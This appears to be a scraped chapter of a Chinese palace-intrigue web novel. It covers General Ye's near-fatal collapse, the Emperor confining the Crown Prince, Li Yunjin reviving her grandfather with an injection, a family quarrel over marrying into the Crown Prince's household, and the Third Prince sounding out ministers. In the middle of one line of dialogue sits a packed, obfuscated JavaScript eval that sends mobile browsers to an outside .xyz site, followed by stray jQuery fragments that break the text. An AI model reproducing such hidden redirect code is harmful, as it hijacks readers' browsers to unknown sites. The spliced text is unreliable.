叶凌云和刚走到跟前的叶流空二人骇然失色，抢步上前扶住。


    老将军面色如金纸，牙关紧咬，已然人事不省。


    东宫派去的礼物还在门外没抬进去，叶家却已经乱成一锅滚沸的粥。


    太医院的老太医匆匆赶到，几根针下去，人虽是缓过来了，但老将军气息微弱，脉象散乱。


    老太医诊视后，沉重摇头，只吐出四个字：“气急攻心……怕是……难了。”


    叶府上下，愁云惨雾笼罩。


    消息送入宫中，皇帝闻讯，刚因明珠公主回禀青萝庄见闻而略好的心情瞬间跌入冰窟，勃然大怒：“逆子，混账东西！”


    一叠奏折被他狠狠掼在地上：“这是要逼死朕的肱骨老臣吗？！让太子滚过来见朕！”


    太子被紧急召见，还未跪下，一只药碗就擦着他额角砸过去了。


    “蠢货，愚不可及。”皇帝气得浑身颤抖，枯槁的面容因震怒而扭曲，“谁给你的胆子！谁许你派一个腌臜东西去叶府嚼舌根，妄议岁宁？！你心里打的什么龌龊主意，当朕眼瞎心盲吗？！叶老将军若是……朕活剐了你！滚，滚回去给朕闭门思过！无诏不得出！”


    皇帝这一番雷霆之怒，几乎耗尽了积攒许久的气力。


    骂完之后，便剧烈咳嗽起来，脸色灰败，大口喘息。


    太子吓得面无人色，连滚带爬退了出去。


    御医手忙脚乱上前为皇帝施针喂药。


    望着太子仓惶逃窜的背影，皇帝靠在枕上，喘着粗气，胸中却充满了无力感。


    叶老将军病危，朝中上下又如何作想，而太子……竟是如此扶不起。


    这江山……他疲惫地闭上眼。


    想深究太子过错，却又怕此刻深究动摇国本。一时之间，竟左右为难，胸口闷痛难当。


    此刻，叶府哭声一片。


    叶老将军出事的消息，连同皇帝怒斥太子闭门思过的口谕，风一样送到了青萝庄，送到了陪着明珠公主的手两姐妹中。


    李云锦没有任何犹豫，将一应事务交给老张，带着李云芳，连夜便回了京城叶府。


    明珠公主也不得不因此匆匆返回宫中，心底烦闷异常。


    到叶府的时候，整个叶府笼罩在愁云惨雾之中。


    屋子里满是药气，老夫人扶着丫鬟的手勉强支撑着，叶凌云和吴伴雪都熬得眼窝深陷。


    卧房内，老将军紧闭双眼躺在榻上，呼吸微弱得几乎察觉不到，瘦骨嶙峋，再无半分昔日驰骋沙场的虎将风采。


    李云锦一进门，就要老夫人摒退众人。


    众人各个不解，但老夫人心中却是一动，当下要众人都出去，屋子里只留她和李云锦两人。


    “姥姥可信我？”


    老夫人苦笑：“你有什么，只管用就是了，我还能怀疑你不成？”


    闻言，李云锦一笑，取出一只银光闪闪的注射器来。


    老夫人不知道这是什么，但看着那尖锐的针头，只觉得心惊胆战。


    可她什么都没有说，只是看着李云锦用一个棉球擦了擦老将军的胳膊，把注射器扎进了他的肉里。


    等那银光闪闪的东西都被推进去，李云锦才拔了注射器，轻声说：“三天内会醒，半年后我来取回这东西。但是想要如同以往那般，只怕是不能了。”


    血管可以修补，淤血可以吸收，但被损伤的大脑却很难回复了。


    老夫人闻言却依旧是喜不自禁地落下泪来：“如此够了。”


    她盯着老将军深深地看了几眼，出门去将人都叫到跟前，不必多说什么，众人皆已明白，纷纷表示自己不会胡言乱语。


    柳相宜更是表示，到生产前，自己都不再出门了。


    外面吵吵嚷嚷，李云锦只是静静坐在床边，握着祖父粗糙冰凉的大手。


    李云芳悄悄溜进来，蹲在另一边默默掉眼泪。


    一夜无话，直到鸡鸣破晓时分，守夜的丫鬟满脸的难以置信，结结巴巴地叫起来：“动了，老太爷的手指……动了！”


    接下来的日子，叶府上下经历了一场缓慢的奇迹。


    虽然太医院的太医们每日来诊脉时都大惑不解，但老将军那几近断绝的气息，确实一点点稳住了。


    眼睑下的眼珠会轻微滚动，有时甚至能张开一条细缝。虽然还不能说话，但所有人都知道，老将军活下来了。


    这消息如同一道阳光，悄然驱散了笼罩叶家许久的阴霾。


    皇帝闻听，心中巨石略放，却依旧严令太子禁足，无声表达了态度。


    几日后的傍晚，为了冲喜，也为了庆祝老爷子阎王殿前走了一遭又回来，叶家办了一场小小的家宴。只一家人围坐，气氛沉重中带着劫后余生的庆幸。


    老将军身体尚虚，被搀扶着在主位坐了，只喝几口素汤。


    众人小心翼翼，不敢提旧事。


    酒过三巡，席间气氛稍稍松快了些。


    叶菁自老将军病倒后便每日在国公府与将军府之间来回，照看父亲。


    此时她轻抚着日渐隆起的小腹，借着这气氛，忽然看向李云锦，脸上努力挤出温和的笑意：“云锦啊，经历这一场，娘想了很多。有些话，娘不得不说。”


    席间顿时一静。叶凌云心头一跳，预感到什么。


    “你是个好孩子，有大本事，也孝顺。”叶菁斟酌着词句，尽量让自己的话听起来是为女儿考量，“娘知道你看重自由。可……女儿家一辈子，终究是要有个好归宿的。”


    “太子……太子虽然之前行事急躁了些，可毕竟身份尊贵，未来……”她顿了顿，声音轻了下去，“听说明珠公主都去过你那庄子了，这或许也是……太子的态度缓和了？你舅舅是阁臣，叶家树大招风，你……你委屈些……也是为了叶家好，为了你自己往后的安稳。若是将来……东宫那里，未必不是一个去处？”


    她说完，期待而忐忑地望着女儿。


    话音刚落，叶凌云猛地将酒杯“哐”地顿在桌上，脸色铁青：“妹妹，你在胡说八道什么？！爹差点被他气死，你要把锦姐儿往火坑里推吗？！”


    叶菁被兄长厉声一喝，脸瞬间白了。


    更令她难受的是，李云芳“噌”地站起来，生气而不解地反问她。


    “娘！为什么呀？您两次嫁人，不都是自己选的吗？我爹您选的，贺叔叔也是您选的。为什么姐姐就要看什么好归宿，就要委屈些，就要为了这为了那考虑？”


    她的眼里满是困惑和难过：“我姐种


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15790252|163187||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的麦子能让很多人吃饱饭，她比什么太子妃神气多了。”


    “云芳，”叶菁被女儿顶撞，又被兄长呵斥，委屈和难堪瞬间涌上来，眼泪簌簌落下，“你懂什么。娘都是为了你姐姐好！”


    她浑身颤抖着，为自己不被人理解而心痛：“娘在你们眼里就是个不知深浅的蠢人吗？娘那时什么处境，你姐姐现在什么处境，能一样吗？娘是过来人……娘知道这世道对女子有多难……”


    一直沉默的老夫人放下了筷子，眼神里带着疲惫的威严：“好了，都停下来吧。”


    她的目光扫过叶菁，用不容置疑的口吻道：“我叶家男人还没死绝，不说如日中天，也还没落魄到要拿自家血脉女孩儿去强颜欢笑，虚与委蛇，攀附什么东宫。此事，休要再提，一个字都不要再提！”


    她的话敲在每一个人心头，听得叶菁浑身一震，只觉得所有脸面都在母亲这番话下被撕扯得粉碎。


    她捂着隆起的肚子，脸色煞白，猛地站起，对着李云锦失声痛斥：“你听听，都是为了你好呢！你呢？你心里可曾有过我这个娘？这个女儿……生来就是与我作对的。”


    说着，推开椅子，悲愤交加，掩面奔出大厅，留下满室寂静。


    老夫人疲惫地叹息一声。


    李云锦自始至终未发一言，脸上没什么表情，只在李云芳关切地抓住她的手时，轻轻捏了捏她的手心，示意自己没事。


    席间的暖意，仿佛被一场骤雨冲刷得荡然无存。秋风吹进窗格，带来一阵寒意。


    家宴不欢而散。


    李云锦并未在叶府多留，老将军状况稳定，她便借口庄上事务，带着李云芳第二日一早便离开了。


    车马驶出京城巍峨的城门，重新踏上通往青萝庄的官道时，车厢里沉默许久。


    李云芳小心翼翼观察着李云锦看不出情绪的脸，又看看窗外一望无际的田野，秋风掠过金色的稻浪，发出细碎的声响。她忽然轻声说：“姐姐……青萝庄的麦苗，是不是该播种了？”


    李云锦看向她，眸色深了深，嘴角终于牵起一丝极淡的弧度：“嗯。回去也该准备了。”


    车窗外，层林尽染，秋意正浓。


    几乎同时，城西一座不起眼的私园水榭内。


    三皇子正与几位朝中新锐臣子品茗闲叙。


    他面相温和，谈吐温文，言语间不经意带起一些朝野议论。


    “叶老将军吉人天相，真是万幸……国之柱石啊。”他放下茶盏，语带诚恳，“只盼他能尽快康复才好。如今朝局，可经不起动荡。”


    一位年轻御史接口道：“是啊，陛下病体未愈，太子殿下又……唉，一时糊涂，行事……确欠妥。若论稳重识体……”


    三皇子抬手止住他的话，含蓄笑道：“慎言。诸位皆是为朝廷社稷着想。本王只愿父皇安康，国事平顺。”


    他目光扫过几位听客，声音压得更低几分，如同推心置腹般真诚道：“不过……若有朝一日风云突变，朝廷需人担起责任……诸君皆是栋梁，当知如何选择一位……真正懂得爱惜黎民，尊重勋贵，能让天下安定之人。总要好过……心浮气躁，罔顾功臣，令人寒心之辈吧？”


    言罢，轻轻吹去茶汤上的浮沫，神色平静如水。